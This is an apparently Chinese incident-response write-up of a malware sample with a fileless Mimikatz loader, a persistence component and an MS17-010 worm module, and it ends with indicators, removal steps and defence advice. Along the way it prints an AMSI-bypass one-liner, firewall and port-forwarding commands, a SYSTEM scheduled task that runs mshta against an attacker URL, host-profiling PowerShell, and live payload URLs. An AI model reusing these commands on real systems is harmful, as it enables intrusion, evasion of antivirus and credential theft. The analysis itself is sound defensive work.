某应急响应样本分析
字数 2078 2025-08-06 08:35:16

恶意软件样本分析教学文档

1. 样本概述

本教学文档分析了一个复杂的恶意软件样本,包含三个主要组件:

  1. PowerShell脚本(内存加载Mimikatz)
  2. svchost2.exe(持久化组件)
  3. svchost1.exe(扫描传播组件)

2. PowerShell组件分析

2.1 反混淆技术

样本使用了多种PowerShell混淆技术:

  • 字符串拼接(大小写混用)
  • 变量名随机化
  • 编码转换(Base64 + Gzip压缩)

反混淆方法

  1. 识别字符串拼接模式(如${TYpEBUiLdER}
  2. 使用PowerShell调试器逐步执行
  3. 参考FireEye的反混淆技术文档

2.2 核心功能

2.2.1 AMSI绕过

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
  • 通过反射修改AMSI初始化标志,绕过杀毒软件检测

2.2.2 PE文件构造

  • Get-Win32Types: 定义PE文件子系统类型
  • Get-Win32Constants: 设置PE文件常量值
  • Get-Win32Functions: 加载系统DLL函数

2.2.3 内存操作函数

  • Sub-SignedIntAsUnsigned: 有符号整数相减转无符号
  • Add-SignedIntAsUnsigned: 有符号整数相加转无符号
  • Write-BytesToMemory: 字节写入内存
  • Test-MemoryRangeValid: 测试内存区域可用性

2.2.4 Mimikatz加载

  • 从Base64编码变量pebYtes64解码Mimikatz
  • 使用Invoke-CreateRemoteThread在目标进程注入执行
  • 全程无文件落地,仅在内存运行

2.3 危害

  • 窃取系统密码和私钥
  • 实现横向移动
  • 收集系统信息

3. svchost2.exe分析

3.1 主要功能

  1. 启动Ddriver服务
  2. 写入C:\windows\temp\ttt.exe
  3. 执行恶意命令

3.2 持久化技术

3.2.1 进程伪装

taskkill /f /im svhost.exe /im svhhost.exe /im svvhost.exe
move /y c:\windows\temp\svvhost.exe c:\windows\temp\svchost.exe
  • 杀死竞争对手恶意软件
  • 伪装成合法svchost.exe

3.2.2 防火墙规则修改

netsh interface ipv6 install
netsh firewall add portopening tcp 65532 UDP
netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
  • 开放65531-65533端口
  • 设置IPv4端口转发

3.2.3 计划任务

schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"
  • 每50分钟执行一次
  • 以system权限运行

3.2.4 注册表修改

  • Software\Microsoft\Windows\CurrentVersion\Run
  • 添加Driver键实现开机自启

3.3 清除方法

  1. 删除以下文件:
    • C:\windows\system32\svhost.exe
    • C:\windows\temp\svchost.exe
    • C:\windows\temp\ttt.exe
  2. 删除计划任务"Autocheck"
  3. 清理注册表Run项
  4. 重置防火墙规则

4. svchost1.exe分析

4.1 样本特征

  • Python打包的EXE(py2exe)
  • 大小约8MB
  • 包含MS17-010漏洞利用代码

4.2 主要功能

4.2.1 互斥体

  • 绑定60124端口确保单实例运行

4.2.2 传播机制

  1. 检测本机k8h3d用户并删除
  2. 检查感染状态(65533端口)
  3. 未感染则从云端下载恶意代码

4.2.3 扫描传播

  1. 通过wmic ntdomain get domainname获取域信息
  2. findip获取网络信息
  3. scansmb检测开放445端口的主机
  4. validate函数爆破SMB弱口令

4.2.4 MS17-010利用

  • 参考worawit的MS17-010漏洞利用代码
  • 入侵成功后执行smb_pwn函数

4.3 危害

  • 自动化扫描攻击内网主机
  • 通过MS17-010和弱口令爆破传播
  • 下载执行更多恶意负载

5. 云端组件分析

5.1 下载地址

  • http://v.beahh.com/v(PowerShell代码)
  • http://172.104.73.9/dll.exe(恶意负载)

5.2 信息收集

$mac = (getmac /FO CSV|Select-Object -Skip 1 -first 1| ConvertFrom-Csv -Header MAC|select-object -expand MAC)
$avs = (Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct).displayName
$key = "&mac="+$mac+"&av="+$av+"&ver="+(Get-WmiObject -Class Win32_OperatingSystem).version+"&bit="+(Get-WmiObject Win32_OperatingSystem).OSArchitecture + "&flag2=" + $flag + "&domain=" + (Get-WmiObject win32_computersystem).Domain + "&user=" + $env:USERNAME
  • 收集MAC地址、杀软信息、系统版本、域名和用户名

5.3 下载执行逻辑

  1. 检查Ddriver服务是否运行
  2. 未运行则下载dll.exe保存为update.exe
  3. 通过Shell执行下载的文件

6. 防御与清除方案

6.1 检测指标

  • 异常端口:65531-65533、60124
  • 异常进程:svhost.exe、svhhost.exe、svvhost.exe
  • 异常文件路径:
    • C:\windows\temp\ttt.exe
    • C:\windows\temp\svchost.exe
    • C:\windows\system32\svhost.exe

6.2 清除步骤

  1. 终止相关恶意进程
  2. 删除恶意文件
  3. 清理计划任务
  4. 修复注册表
  5. 重置防火墙规则
  6. 检查并修复MS17-010漏洞
  7. 更改所有弱口令

6.3 防御建议

  1. 禁用不必要的PowerShell功能
  2. 启用AMSI保护
  3. 监控异常网络连接
  4. 限制WMI和SMB服务访问
  5. 部署EDR解决方案

7. 参考资源

  1. PowerShell反混淆技术
  2. PE文件格式文档
  3. MS17-010漏洞利用代码
  4. py2exe逆向工具
恶意软件样本分析教学文档 1. 样本概述 本教学文档分析了一个复杂的恶意软件样本,包含三个主要组件: PowerShell脚本(内存加载Mimikatz) svchost2.exe(持久化组件) svchost1.exe(扫描传播组件) 2. PowerShell组件分析 2.1 反混淆技术 样本使用了多种PowerShell混淆技术: 字符串拼接(大小写混用) 变量名随机化 编码转换(Base64 + Gzip压缩) 反混淆方法 : 识别字符串拼接模式(如 ${TYpEBUiLdER} ) 使用PowerShell调试器逐步执行 参考FireEye的反混淆技术文档 2.2 核心功能 2.2.1 AMSI绕过 通过反射修改AMSI初始化标志,绕过杀毒软件检测 2.2.2 PE文件构造 Get-Win32Types : 定义PE文件子系统类型 Get-Win32Constants : 设置PE文件常量值 Get-Win32Functions : 加载系统DLL函数 2.2.3 内存操作函数 Sub-SignedIntAsUnsigned : 有符号整数相减转无符号 Add-SignedIntAsUnsigned : 有符号整数相加转无符号 Write-BytesToMemory : 字节写入内存 Test-MemoryRangeValid : 测试内存区域可用性 2.2.4 Mimikatz加载 从Base64编码变量 pebYtes64 解码Mimikatz 使用 Invoke-CreateRemoteThread 在目标进程注入执行 全程无文件落地,仅在内存运行 2.3 危害 窃取系统密码和私钥 实现横向移动 收集系统信息 3. svchost2.exe分析 3.1 主要功能 启动Ddriver服务 写入 C:\windows\temp\ttt.exe 执行恶意命令 3.2 持久化技术 3.2.1 进程伪装 杀死竞争对手恶意软件 伪装成合法svchost.exe 3.2.2 防火墙规则修改 开放65531-65533端口 设置IPv4端口转发 3.2.3 计划任务 每50分钟执行一次 以system权限运行 3.2.4 注册表修改 Software\Microsoft\Windows\CurrentVersion\Run 添加Driver键实现开机自启 3.3 清除方法 删除以下文件: C:\windows\system32\svhost.exe C:\windows\temp\svchost.exe C:\windows\temp\ttt.exe 删除计划任务"Autocheck" 清理注册表Run项 重置防火墙规则 4. svchost1.exe分析 4.1 样本特征 Python打包的EXE(py2exe) 大小约8MB 包含MS17-010漏洞利用代码 4.2 主要功能 4.2.1 互斥体 绑定60124端口确保单实例运行 4.2.2 传播机制 检测本机k8h3d用户并删除 检查感染状态(65533端口) 未感染则从云端下载恶意代码 4.2.3 扫描传播 通过 wmic ntdomain get domainname 获取域信息 findip 获取网络信息 scansmb 检测开放445端口的主机 validate 函数爆破SMB弱口令 4.2.4 MS17-010利用 参考worawit的MS17-010漏洞利用代码 入侵成功后执行 smb_pwn 函数 4.3 危害 自动化扫描攻击内网主机 通过MS17-010和弱口令爆破传播 下载执行更多恶意负载 5. 云端组件分析 5.1 下载地址 http://v.beahh.com/v (PowerShell代码) http://172.104.73.9/dll.exe (恶意负载) 5.2 信息收集 收集MAC地址、杀软信息、系统版本、域名和用户名 5.3 下载执行逻辑 检查Ddriver服务是否运行 未运行则下载 dll.exe 保存为 update.exe 通过Shell执行下载的文件 6. 防御与清除方案 6.1 检测指标 异常端口:65531-65533、60124 异常进程:svhost.exe、svhhost.exe、svvhost.exe 异常文件路径: C:\windows\temp\ttt.exe C:\windows\temp\svchost.exe C:\windows\system32\svhost.exe 6.2 清除步骤 终止相关恶意进程 删除恶意文件 清理计划任务 修复注册表 重置防火墙规则 检查并修复MS17-010漏洞 更改所有弱口令 6.3 防御建议 禁用不必要的PowerShell功能 启用AMSI保护 监控异常网络连接 限制WMI和SMB服务访问 部署EDR解决方案 7. 参考资源 PowerShell反混淆技术 PE文件格式文档 MS17-010漏洞利用代码 py2exe逆向工具